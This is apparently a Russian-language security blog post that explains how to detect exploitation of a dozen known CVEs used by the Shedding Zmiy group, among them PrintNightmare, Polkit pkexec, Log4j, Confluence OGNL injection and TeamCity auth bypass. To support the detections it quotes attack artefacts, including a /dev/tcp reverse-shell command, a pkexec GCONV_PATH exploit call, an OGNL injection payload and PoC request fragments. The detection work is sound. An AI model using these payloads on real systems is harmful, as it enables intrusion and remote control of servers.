Оглавление
- CVE-2021-1675 — Windows Print Spooler Remote Code Execution Vulnerability (PrintNightmare)
- CVE-2021-4034 — Local Privilege Escalation in Polkit
- CVE-2021-34473 — Microsoft Exchange Server Remote Code Execution Vulnerability (ProxyShell)
- CVE-2021-44228/CVE-2021-45046/CVE-2021-45105 — LOG4j
- CVE-2022-27925, CVE-2022-37042 — уязвимости в Zimbra Collaboration Suite
- CVE-2022-41352 — уязвимости в Zimbra Collaboration Suite
- CVE-2022-34721 — Windows Internet Key Exchange (IKE) Protocol Extensions Remote Code Execution Vulnerability
- CVE-2023-22527 — Atlassian Confluence Data Center and Server Template Injection Vulnerability
- CVE-2023-25157 – GeoServer SQL Injection
- CVE-2023-36745 — Microsoft Exchange Server Remote Code Execution Vulnerability
- CVE-2023-46604 — Apache ActiveMQ Vulnerability
- CVE-2024-23897 — Jenkins Arbitrary File Leak Vulnerability
- CVE-2024-27198-RCE — JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities
- Заключение
В нашем блоге постоянно выходят исследования активных кибер группировок с техническим анализом их инструментария, тактик и техник. Сегодня мы делимся своим опытом разработки детектирующей логики, позволяющей своевременно выявлять эксплуатацию уязвимостей, которые злоумышленники использовали, действуя в атакованной инфраструктуре. Опираясь на информацию из статьи «Распутываем змеиный клубок: по следам атак Shedding Zmiy» мы выделим артефакты, на которые можно (и нужно!) обращать внимание при мониторинге защищаемой инфраструктуры.
![Театр начинается с вешалки, а исследование уязвимости - с подготовки стенда Театр начинается с вешалки, а исследование уязвимости - с подготовки стенда](/upload/cssinliner_webp/medialibrary/1a4/xo6egjp42tpkf2loyrzckqdnn2l1cscc/1_Start.webp)
Некоторые из этих артефактов могут показаться устаревшими, но наш опыт показывает, что далеко не все IT-администраторы своевременно обновляют свою инфраструктуру, и злоумышленники часто ходят по «протоптанным тропам». Здесь не будет текста правил, но будет всё для того, чтобы самостоятельно перенести детектирующую логику в используемые вами продукты. Предлагаемые нами методы мониторинга рассчитаны в основном на базовую телеметрию,но и она позволяет поймать Змия за хвост :).
Отдельно отметим, что у предложенной в статье логики детектирования могут быть ложные срабатывания, связанные в том числе со стандартным поведением системы, поэтому она потребует тонкой настройки (в том числе фильтрации) под вашу инфраструктуру.
Далее мы опишем уязвимости, использованные группировкой Shedding Zmiy. С признаками эксплуатации некоторых из них команда 4RAYS столкнулась, распутывая змеиный клубок атак Shedding Zmiy (кейсы 1, 3, 4, 6, 7). Однако анализ тактик, техник и процедур, использованных группировкой, позволяет утверждать, что инструментарий злоумышленников шире и включает в себя многие известные в коммьюнити уязвимости трёх последних лет.
Заранее оговоримся, что в большинстве случаев главной рекомендацией будет своевременное обновление продуктов и установка вендорских патчей.
NB! Всегда проверяйте патчи на ограниченном скоупе узлов, чтобы убедиться в их эффективности и сохранении работоспособности инфраструктуры!
Начнём с самых ранних – это уязвимости, которым уже не менее трёх лет.
CVE-2021-1675 — Windows Print Spooler Remote Code Execution Vulnerability (PrintNightmare)
Что это такое?
Это RCE-уязвимость в диспетчере очереди печати Windows (Print Spooler). В начале июня уязвимость справила уже третий день рождения :)
Для успешной атаки злоумышленник, имея доступ к непривилегированной УЗ, должен проэксплуатировать ошибку проверки прав в WinAPI функции RpcAddPrinterDriver, в результате чего в процесс spoolsv.exe будет загружен и выполнен произвольный код с повышенными привилегиями.
Как мониторить?
Не углубляясь в технические подробности, уязвимость можно обнаружить по сети по следующим особенностям:
1. Обращение к spools
![2_CVE-2021-1675_1.png](/upload/cssinliner_webp/medialibrary/873/ry4ll2uufy3ydcvqzbi7n9ft3fhfrby6/2_CVE_2021_1675_1.webp)
В коде (можно ознакомиться на github) это выглядит так:
![](/upload/cssinliner_webp/medialibrary/290/w0jc0wh3eugdjsg70vry4zirrf2j3sn9/2_CVE_2021_1675_2.webp)
Соответственно, в трафике ищем аргументы transfer_syntax:
![](/upload/cssinliner_webp/medialibrary/565/nib3al3tckfk3vjhzqdfrqffjvl1zk8m/2_CVE_2021_1675_3.webp)
Версия:
![](/upload/cssinliner_webp/medialibrary/2c8/tj3947kbtz94kbxdllvzms1n0wsm1ate/2_CVE_2021_1675_4.webp)
2. При этом в трафике можно увидеть n-ное количество dcerpc-вызовов enumprinterdrivers и addprinterdriverex.
![](/upload/cssinliner_webp/medialibrary/51f/25r51281dn0wpwnd1k3ou2yfp9p4y81y/2_CVE_2021_1675_5.webp)
Мониторинг на хосте дополняет сетевые артефакты, покрывается расширенным аудитом Windows и дополнительными средствами аудита (например, Sysmon):
1. Создание полезной нагрузки в директориях принтера (Event ID 4663 Security \ Sysmon 11)
c:\windows\system32\spool\drivers\x*
![](/upload/cssinliner_webp/medialibrary/b3f/2v21apot9xe6u7ghc0w1e4860vaf97aw/2_CVE_2021_1675_6.webp)
2. Подгрузка в процесс spoolsv.exe полезной нагрузки из директорий принтера (Sysmon 7)
c:\windows\system32\spool\drivers\x*
![](/upload/cssinliner_webp/medialibrary/119/cnulpmq04exmbnysxn69vhj9p6txk8md/2_CVE_2021_1675_7.webp)
3. Изменение параметра (Event ID 4657 Security \ Sysmon 13) NoWarningNoElevationOnInstall
в реестре HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
(по умолчанию 0) на 1, что позволит злоумышленнику обойти рекомендованный вендором патч.
![](/upload/cssinliner_webp/medialibrary/51e/l6x9nol3mx2t3hmjoagiu2imocbdlh1b/2_CVE_2021_1675_8.webp)
Кроме того, существуют менее надёжные события, которые могут помочь с обогащением в случае сработки на любую из описанных выше активностей:
1. События Event ID 5156 Security и Event ID 3 Sysmon подсветят коннект по высоким портам на уязвимый хост, инициатором станет процесс spoolsv.exe,
2. Событие Event ID 316 Microsoft-Windows-PrintService/Operational (по умолчанию журнал отключен, необходимо включить) будет содержать имя вредоносного файла, загруженного в директории принтера,
3. Событие Event ID 808 Microsoft-Windows-SmbClient/Security с конкретным кодом ошибки 0х45А и событие Event ID 31017 (указывает на ошибку проверки подлинности при логоне как гость).
CVE-2021-4034 — Local Privilege Escalation in Polkit
Что это такое?
Polkit (ранее PolicyKit) – это компонент для управления общесистемными привилегиями в Unix-подобных операционных системах. Можно использовать polkit для выполнения команд с повышенными привилегиями, используя команду pkexec, за которой следует команда, предназначенная для выполнения с правами root.
Суть уязвимости – memory corruption, связанная с фиксированным размером буфера argv[] для pkexec. Если оставить буфер пустым (то есть, запустить команду без параметров), при чтении argv[0] будет получен NULL, который в свою очередь является escape-последовательностью для списка аргументов argv. Таким образом, мы уже вышли за пределы этого буфера (out-of-bounds) и начали читать следующий за ним envp.
|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
V V V V V V
"program" "-option" NULL "value" "PATH=name" NULL
Злоумышленник может разместить в буфере envp путь к своей полезной нагрузке в переменной PATH, и, так как pkexec был запущен без параметров и обладает suid, нагрузка по пути PATH будет выполнена с повышенными привилегиями.
Как мониторить?
Присмотритесь к вызову pkexec без аргументов, для этого вам потребуется мониторинг запуска процесса (и мониторинг его параметров):
execve("/usr/bin/pkexec",
//args
null,
//evniron
"evil.so:.",
"PATH=GCONV_PATH=.", //path for evil.so
"CHARSET=EVIL", //loof for packets in GCONV_PATH
"GIO_USE_VFS=")
Кроме того, можно поискать в логе артефакты выполнения pkexec:
“The value for the SHELL variable was not found the /etc/shells file”,
“The value for environment variable […] contains suspicious content”
CVE-2021-34473 — Microsoft Exchange Server Remote Code Execution Vulnerability (ProxyShell)
Tale as old as time. Цикл уязвимостей ProxyShell не единожды освещался в коммьюнити, поэтому подробно останавливаться на нём не будем. Скажем только: присмотритесь к хостовым generic-правилам на webshell. Их логика чаще всего описывает порождение процессов с родителем, который является процессом службы веб-сервера (например, w3wp.exe):
![](/upload/cssinliner_webp/medialibrary/324/hfrq6l37ogbgvqasr4cej8sipc9v96sw/4_CVE_2021_1675_1.webp)
CVE-2021-44228/CVE-2021-45046/CVE-2021-45105 — LOG4j
Не менее нашумевший, чем её предшественник, цикл уязвимостей LOG4j также не остался без внимания коммьюнити. Например, EmergingThreats создали целый репозиторий с сетевыми детектами данного семейства уязвимостей.
На уровне хоста предлагаем также обратиться к generic-правилам на webshell и отслеживать запуски оболочек от процессов java:
USER PID PPID TT STAT TIME CMD
www-data 46152 1 ? Ssl 00:00:01 /opt/java/openjdk/bin/java/ -jar some-webapp.jar
www-data 46226 46152 ? S 00:00:00 \_ /bin/bash -c sh -i >& /dev/tcp/10.xx.xx.xx/9001 0>&1
www-data 46228 46226 ? S 00:00:00 \_ sh -i
www-data 46230 46228 ? S 00:00:00 \_ python3 -c import pty;pty.spawn("bash")
В логе auditd это выглядит следующим образом:
node=cert-centos7 type=EXECVE msg=audit(1718637300.588:7479): argc=5 a0="/home/user/log4j-shell/jdk1.8.0_20/bin/java" a1="-cp" a2="/home/user/log4j-shell-poc/target/marshalsec-0.0.3-SNAPSHOT-all.jar" a3="marshalsec.jndi.LDAPRefServer" a4="http://localhost:9001/#Exploit"
node=cert-centos7 type=EXECVE msg=audit(1718637315.432:7503): argc=3 a0="/usr/sbin/unix_chkpwd" a1="user" a2="nullok"
node=cert-centos7 type=CRED_REFR msg=audit(1718637326.530:7524): pid=9212 uid=0 auid=1000 ses=1 subj=system_u:system_r:xdm_t:s0-s0:c0.c1023 msg='op=PAM:setcred grantors=pam_unix,pam_gnome_keyring acct="user" exe="/usr/libexec/gdm-session-worker" hostname=cert-centos7 addr=? terminal=/dev/tty1 res=success'
node=cert-centos7 type=EXECVE msg=audit(1718637351.445:7547): argc=1 a0="/bin/sh"
node=cert-centos7 type=EXECVE msg=audit(1718637358.073:7552): argc=1 a0="whoami"
node=cert-centos7 type=CWD msg=audit(1718637360.445:7577): cwd="/usr/local/tomcat"
node=cert-centos7 type=EXECVE msg=audit(1718637398.582:7592): argc=3 a0="/usr/sbin/unix_chkpwd" a1="root" a2="nonull"
node=cert-centos7 type=USER_AUTH msg=audit(1718637398.601:7594): pid=9268 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=PAM:authentication grantors=pam_unix acct="root" exe="/usr/sbin/sshd" hostname=10.xx.xx.xx addr=10.xx.xx.xx terminal=ssh res=success'
Как можно заметить, всё новое – это хорошо себя зарекомендовавшее старое, поэтому повторим призыв из начала статьи: обновляйтесь по мере выхода вендорских патчей!
Продолжим подборкой уязвимостей помоложе: они были раскрыты в 2022-2023 годах.
CVE-2022-27925, CVE-2022-37042 — уязвимости в Zimbra Collaboration Suite
Что это такое?
Zimbra Collaboration Suite (ZCS) 8.8.15 и 9.0 имеет функцию mboximport, которая получает ZIP-архив и извлекает из него файлы. Злоумышленник получает возможность загружать в систему произвольные файлы, что может привести к удаленному выполнению кода.
Как мониторить?
Нюанс: перед анализом трафика необходимо его дешифровать (то есть иметь ключи).
Есть POC-и на github, при анализе которых глаз цепляется за следующие строки:
![](/upload/cssinliner_webp/medialibrary/b49/pgj4ibdv263agnqa6wbfogo3wensvav2/1.webp)
Также прокидывается файл «webshell.zip» и, как известно, header у него будет PK.
Собственно, в wireshark при эмуляции можно увидеть:
![](/upload/cssinliner_webp/medialibrary/841/j98gu8uf6ev1woz8zupdgnvep9pguauk/6_CVE_2022_27925_1.webp)
В целом при написании детектирующей логики можно покрутить различные паттерны путей (/service/extension/backup/mboximport), параметры запроса и header передаваемого файла.
При настройке детектирующей логики также можно опереться на список легальных файлов в Zimbra c расширением jsp.
CVE-2022-41352 — уязвимости в Zimbra Collaboration Suite
Что это такое?
И снова Zimbra! Данная уязвимость также приводит к удаленному выполнению кода. Злоумышленник отправляет вредоносный архив (.cpio, rpm), затем Zimbra отправляет его в Amavis (проверка на спам и вирусы). Amavis, в свою очередь, анализирует вложение и проверяет содержимое архива. И тут…
JSP развертывается в общедоступном каталоге (/opt/zimbra/jetty/webapps/zimbra/public), и welcome — у злоумышленника webshell!
Подвержены уязвимости те же версии Zimbra, что и в CVE-2022-27925, CVE-2022-37042.
P.S.: файловые сигнатуры .cpio – 070707 (в восьмеричной СС), или 0x71c7 (в шестнадцатеричной СС), rpm - |ed ab ee db|.
Как мониторить?
Есть соответствующие правила ETOpen. Можно написать свою детектирующую логику и использовать её в IDS, используя различные комбинации файловых сигнатур и вариации путей (/opt/zimbra/jetty/webapps/zimbra/public).
CVE-2022-34721 — Windows Internet Key Exchange (IKE) Protocol Extensions Remote Code Execution Vulnerability
Что это такое?
Уязвимость заключается в том, что можно послать специально сформированный пакет на целевую систему с сервисом IPSec и исполнить произвольный код.
Как мониторить?
Для успешной эксплуатации уязвимости необходимо сформировать пакет, содержащий следующие ключевые поля:
![](/upload/cssinliner_webp/medialibrary/481/awndcv3qts08qk4q2ysu0yz8aj9o4dnb/2.webp)
Ключевые значения в PoC
1. next_payload=0x84 и next_payload=0x1: эти значения важны для правильной маршрутизации и обработки полезных данных (payloads). Они определяют типы полезных данных. В нашемслучае это Notify-пакет.
2. exch_type=0xf3: этот параметр указывает на тип обмена (QuickMode), который требует специфической обработки в функциях IKE.
3. load=b"\x00\x00\x01\x7f": это payload.
Собственно, в wireshark при анализе пакета мы видим все это:
![](/upload/cssinliner_webp/medialibrary/61e/11uy959ytlr6iii57b3snv8bjgghj9pt/8_CVE_2022_34721_1.webp)
Осталось поиграть со смещениями (в соответствии с RFC, конечно же), и детектирующая логика готова.
CVE-2022-41080/CVE-2022-41082 — OWASSRF
Что это такое?
Ещё одна уязвимость семейства ProxyShell, не менее громкая, чем её предшественницы. Не можем не отметить, что Exchange в последние два года крепко достаётся от злоумышленников самого разного уровня.
Вектор SSRF отлично описали наши коллеги из отдела анализа защищенности ещё в 2021 году.
Как мониторить?
Исследователям из CrowdStrike удалось обнаружить исходный инструмент, которым пользовались злоумышленники. На основании статьи можно предположить, что злоумышленник аутентифицируется на owa с валидными учётными данными (следите за своими учётками, особенно сервисными!) и затем использует SSRF вида /owa/mastermailbox%40outlook.com/powershell
, чтобы получить удалённую сессию Powershell. Пример:
![](/upload/cssinliner_webp/medialibrary/d79/md8rkrcdb1p5f61g5csobex9gtnsqyzi/9_CVE_2022_41080_1.webp)
Для детектов на сети необходимо разворачивать TLS.
Детекты, предложенные ETOpen, в целом достаточно хорошо покрывают такую активность.
А на хосте…
![](/upload/cssinliner_webp/medialibrary/e25/n5329uputdjcndtryym8h296yu9zvfzq/9_CVE_2022_41080_2.webp)
Снова отслеживаем запуск подозрительных процессов от хост-процессов сервера. В этом случае – ожидаем цепочку w3wp.exe -> powershell.
Кроме того, можно мониторить логи вашего Exchange на предмет запросов типа “/owa/mastermailbox%40outlook.com/powershell
” с кодом ответа 200; и запросов к Autodiscover, специфичных для семейства уязвимостей ProxyShell: “.*autodiscover\.json.*\@.*Powershell.*
“
CVE-2023-22527 — Atlassian Confluence Data Center and Server Template Injection Vulnerability
Что это такое?
Данная уязвимость затрагивает версии Atlassian Confluence, выпущенные до 5 декабря 2023 года, и позволяет выполнить произвольный код на атакуемой машине.
В коде опубликованных POC прослеживается следующая логика:
1. Проверяется, уязвима ли версия Confluence (GET-запрос):
![](/upload/cssinliner_webp/medialibrary/e44/udyyic694dyy69krw4h5xiwwl0fe521e/10_CVE_2023_22527_1.webp)
В ответе версия:
![](/upload/cssinliner_webp/medialibrary/e84/1dc7wnw4cs98ukfcsxcwja42g45nrdtk/10_CVE_2023_22527_2.webp)
Которая проверяется в коде:
![](/upload/cssinliner_webp/medialibrary/cde/ck2z9mil8hfgoz2o4uh47jb5wrxbdns2/3.webp)
2. Посылается специально сформированный POST-запрос:
![](/upload/cssinliner_webp/medialibrary/52f/4qjybpg4s8zvt8jv4kxt17fn2y4e8h4m/10_CVE_2023_22527_3.webp)
Как мониторить?
1. В зависимости от реализации отправляется GET-запрос с общей частью «/login.action».
В ответе версию Confluence можно забрать из «span id» и «print-only»:
<span id='footer-build-information'>8.4.0</span></li>
<li class="print-only">Printed by Attlassian Confluence 8.4.0</li>
Данный факт не получится использовать для формирования детектирующей логики, только в связке с другими подозрительными событиями.
2. Самое интересное здесь это POST-запрос, общая часть которого:
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader
И, воспользовавшись своими знаниями регулярных выражений или жестко определив подстроки, можно написать правила, которые будут достаточно точно определять попытки эксплуатации данной CVE.
CVE-2023-25157 – GeoServer SQL Injection
Что это такое?
Простыми словами, GeoServer — это программное обеспечение с открытым исходным кодом, предоставляющее возможность администрирования и публикации геоданных. Из названия понятно, что это SQL инъекция.
Как мониторить?
Сразу лезем в код и видим:
response = requests.get(URL + "/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities", proxies={"http": PROXY}, verify=False)
1. GET-запрос: «/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities»
. ![](/upload/cssinliner_webp/medialibrary/e77/81oprx9u9h30s9kfs2gelmv3p68f6pvi/11_CVE_2023_25157_1.webp)
2. И второй GET-запрос в коде:
endpoint = f"/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName={name}&maxFeatures=1&outputFormat=json"
response = requests.get(URL + endpoint, proxies={"http": PROXY}, verify=False)
3. И в wireshark:
![](/upload/cssinliner_webp/medialibrary/bc7/vkopvh9seqyumddg4n33yp70y26u23kp/11_CVE_2023_25157_2.webp)
Тут снова потребуются знания регулярных выражений или простой и дешёвый хардкод подстроки в правиле.
Эти 2 запроса смогут подсветить активность, сигнализирующую о возможной эксплуатации данной CVE.
CVE-2023-36745 — Microsoft Exchange Server Remote Code Execution Vulnerability
Что это такое?
Уязвимость — аналог описанной выше CVE-2022-41082 — основана на десериализации (хотя и не такая грандиозная, как VIEWSTATE, о которой мы рассказывали в нашем блоге). При успешной эксплуатации позволяет злоумышленнику подгрузить вредоносную .NET-сборку и выполнить произвольный код в обход стандартных механизмов безопасности .NET Framework. В этом атакующему помогает класс Microsoft.Exchange.DxStore.Common.DxSerializationUtil.SharedTypeResolver
, позволяющий обойти ограничения на загрузку сторонних сборок в контексте активного приложения.
Для эксплуатации злоумышленнику необходимо послать серверу Exchange специальным образом сформированный http-запрос, который спровоцирует сервер загрузить вредоносную .NET-сборку с SMB-шары на хосте атакующего. Важно заметить, что для успешной эксплуатации злоумышленник уже должен находиться в одной локальной сети с сервером Exchange.
Как мониторить?
Интересно, что, несмотря на популярный вектор атаки, до сих пор в паблике существует всего один POC для данной уязвимости, авторства N1k0la-T.
Для мониторинга также рекомендуем опираться на generic-правила на webshells – это всё ещё самый простой способ обнаружить попытку эксплуатации уязвимостей веб-приложений. А если вы уже опытные и знаете, как работать с ETW (при помощи LogMan или SilkETW), присмотритесь к провайдеру Microsoft-Windows-DotNETRuntime ETW Provider
: благодаря событиям от этого провайдера можно мониторить все имеющиеся сборки и давать алерт на подгрузку неизвестного ранее модуля.
Например, пользуясь вот таким фильтром:
<SilkServiceConfig>
<ETWCollector>
<Guid>073e0373-213b-4e3d-881a-6430d6d9e369 </Guid>
<CollectorType>user </CollectorType>
<ProviderName>Microsoft-Windows-DotNETRuntime </ProviderName>
<UserKeywords>0x2038 </UserKeywords>
<OutputType>eventlog </OutputType>
<FilterOption>EventName </FilterOption>
<FilterValue>Loader/AssemblyLoad </FilterValue>
</ETWCollector>
</SilkServiceConfig>
![](/upload/cssinliner_webp/medialibrary/76d/q35n2lytk8zi455562gygtuh2s517kp2/12_CVE_2023_36745_1.webp)
CVE-2023-46604 — Apache ActiveMQ Vulnerability
Что это такое?
Это уязвимость удаленного выполнения кода в Apache ActiveMQ (брокер сообщений). Суть уязвимости заключается в протоколе OpenWire, который позволяет десериализовать xml с полезной нагрузкой и создать произвольный экземпляр класса org.springframework.context.support.ClassPathXmlApplicationContext
.
Как мониторить?
Здесь обращаем внимание на переменную header в коде, а также на «01» после:
![](/upload/cssinliner_webp/medialibrary/0a5/zvkge1nj5cj7ln35f8bku6zi2b5m9gxg/4.webp)
Собственно, в трафике она сохраняется:
![](/upload/cssinliner_webp/medialibrary/cca/4m8u0q245qjhrhg80vc47ody7724s52o/13_CVE_2023_46604_1.webp)
При разработке детектирующей логики можно привязать также “org.springframework.context.support.ClassPathXmlApplicationContext
”, а также символы “http://
” для выявления попыток эксплуатации.
На хосте снова пользуемся generic-логикой для webshells, так как всё выполнение кода будет происходить от процесса java. Продублируем process tree, который демонстрировали ранее, для наглядности:
USER PID PPID TT STAT TIME CMD
www-data 46152 1 ? Ssl 00:00:01 /opt/java/openjdk/bin/java/ -jar some-webapp.jar
www-data 46226 46152 ? S 00:00:00 \_ /bin/bash -c sh -i >& /dev/tcp/10.xx.xx.xx/9001 0>&1
www-data 46228 46226 ? S 00:00:00 \_ sh -i
www-data 46230 46228 ? S 00:00:00 \_ python3 -c import pty;pty.spawn("bash")
![](/upload/cssinliner_webp/medialibrary/ba9/ou1qphsncxm80qzspy6gx3daqom93x0g/14_CVE_2024_23897_1.webp)
CVE-2024-23897 — Jenkins Arbitrary File Leak Vulnerability
Что это такое?
Эксплуатация данной уязвимости предоставляет злоумышленнику возможность чтения произвольных файлов в Jenkins (инструмент для CI/CD).
Как мониторить?
В первую очередь логику можно построить на параметрах запроса:
![](/upload/cssinliner_webp/medialibrary/e98/06oj3yre4roqi3hxa4gl8rmpyrxq2zue/5.webp)
![](/upload/cssinliner_webp/medialibrary/9c6/6ui4s56ayy9k5ac9vesftqpuike929s8/6.webp)
А именно POST-запрос +
![IMG_3445.PNG](/upload/cssinliner_webp/medialibrary/5c6/0seliihs5kx2os5crdkaewhw7bc0vcus/IMG_3445.webp)
ну и в случае с upload — Content-type.
Конечно, интересно, что передается в блоке data.
![](/upload/cssinliner_webp/medialibrary/0b6/oi9rhi2zrobem9922te6br05pbzwlq41/14_CVE_2024_23897_2.webp)
В коде указаны конкретные байты, отправляемые в запросе:
![](/upload/cssinliner_webp/medialibrary/af3/alznnj8v3vg41pg9u830pw2ul0plxdex/7.webp)
Конечно, часть этой строки можно заменить, но точно останется символ “@”:
![](/upload/cssinliner_webp/medialibrary/c13/qjnm96dvp3tdj2hfzp9eodw38iqqpy01/14_CVE_2024_23897_3.webp)
Соединив все вышеуказанное, можно написать неплохой детект.
CVE-2024-27198-RCE — JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities
Что это такое?
Удаленное выполнение кода на серверах JetBrains TeamCity, представляет собой обход аутентификации в веб-компоненте TeamCity через path traversal.
Как мониторить?
1. В коде POC описан метод генерации http-запроса для метода check (проверка на возможность эксплуатации):
![](/upload/cssinliner_webp/medialibrary/c87/xljfdrm1oxnpya3t43y3zt9u5zgue0ox/8.webp)
GET-запрос с определенной подстрокой /app/rest/server и jsp.
![](/upload/cssinliner_webp/medialibrary/99a/mgjrwypi1s891al310lxbwaa1g4dilo0/15_CVE_2024_27198_1.webp)
Кроме того, в коде есть метод exploit:
res = send_auth_bypass_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users', "id:#{datastore['TEAMCITY_ADMIN_ID']}", 'tokens', token_name)
Здесь POST-запрос с подстрокой /app/rest/users/id%3*/tokens
и jsp:
![](/upload/cssinliner_webp/medialibrary/fa2/4ykacmkyximd0tvi9g4x0jt4mjs0dcq5/15_CVE_2024_27198_2.webp)
pcre:"/\?.*?jsp\s*=\s*\/app\/rest\/.*?(?:\x3b|%3b).*?\.jsp/"
Напоминаем, что тип запроса может быть и GET, и POST.
Ну и в конце эксплуатации ждем код ответа «200» с токеном админа «token name=».
![](/upload/cssinliner_webp/medialibrary/bcd/yrxbdb9r4g9gyjbr1dng29v7090zkhrg/15_CVE_2024_27198_3.webp)
Что можно поискать на хосте?
Например, оставленные webshells (файлы jsp/jar) в директории
/opt/teamcity/webapps/ROOT/plugins/[randomString][/[randomString].jsp
и их распаковку в директории
/data/teamcity_server/datadir/system/caches/plugins.unpacked/[randomString][/[randomString].jsp
Причём набор знаков для имени вебшелла будет совпадать для обеих директорий.
Далее на помощь снова приходит отслеживание активности webshells по процессам: родителем для запущенной оболочки sh/bin/sh/dash/и т.д. будет процесс /opt/java/openjdk/bin/java/:
PID TTY STAT TIME CMD
11960 pts/0 Ss+ 0:00 /bin/bash /run-server.sh
11988 pts/0 S+ 0:00 \_ /bin/sh bin/teamcity-server.sh run -config conf/server.xml
11993 pts/0 S+ 0:00 \_ sh /opt/teamcity/bin/teamcity-server-restarter.sh run -config conf/server.xml
12110 pts/0 Sl+ 3:52 \_ /opt/java/openjdk/bin/java -Djava.util.logging.config.file=/opt/teamcity/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogM
12291 pts/0 Sl+ 0:01 \_ /opt/java/openjdk/bin/java -DTCSubProcessName=TeamCityMavenServer -classpath /opt/teamcity/webapps/ROOT/WEB-INF/plugins/Maven2/server/async-trigger.jar:
12987 pts/0 S+ 0:00 \_ python3 -m http.server
Заключение
Итак, становится очевидно, что с «возрастом» многие уязвимости не теряют своей актуальности и популярности: не пропатченные уязвимые веб-приложения и почтовые серверы позволяют злоумышленникам получить доступ к инфраструктуре, выполнить вредоносный код и закрепиться. Поэтому регулярно проводите аудит, своевременно устанавливайте обновления и пользуйтесь связкой инструментов для сетевого и хостового мониторинга – тогда атакующим будет намного сложнее оставаться незамеченными . А если подозреваете, что вашу инфраструктуру взломали – обращайтесь к нам за «Выявлением следов компрометации (Compromise Assessment)».
В следующей нашей прикладной статье мы разберём, как детектировать другие вредоносные инструменты злоумышленников, с которыми мы столкнулись при анализе поведения группировки Shedding Zmiy.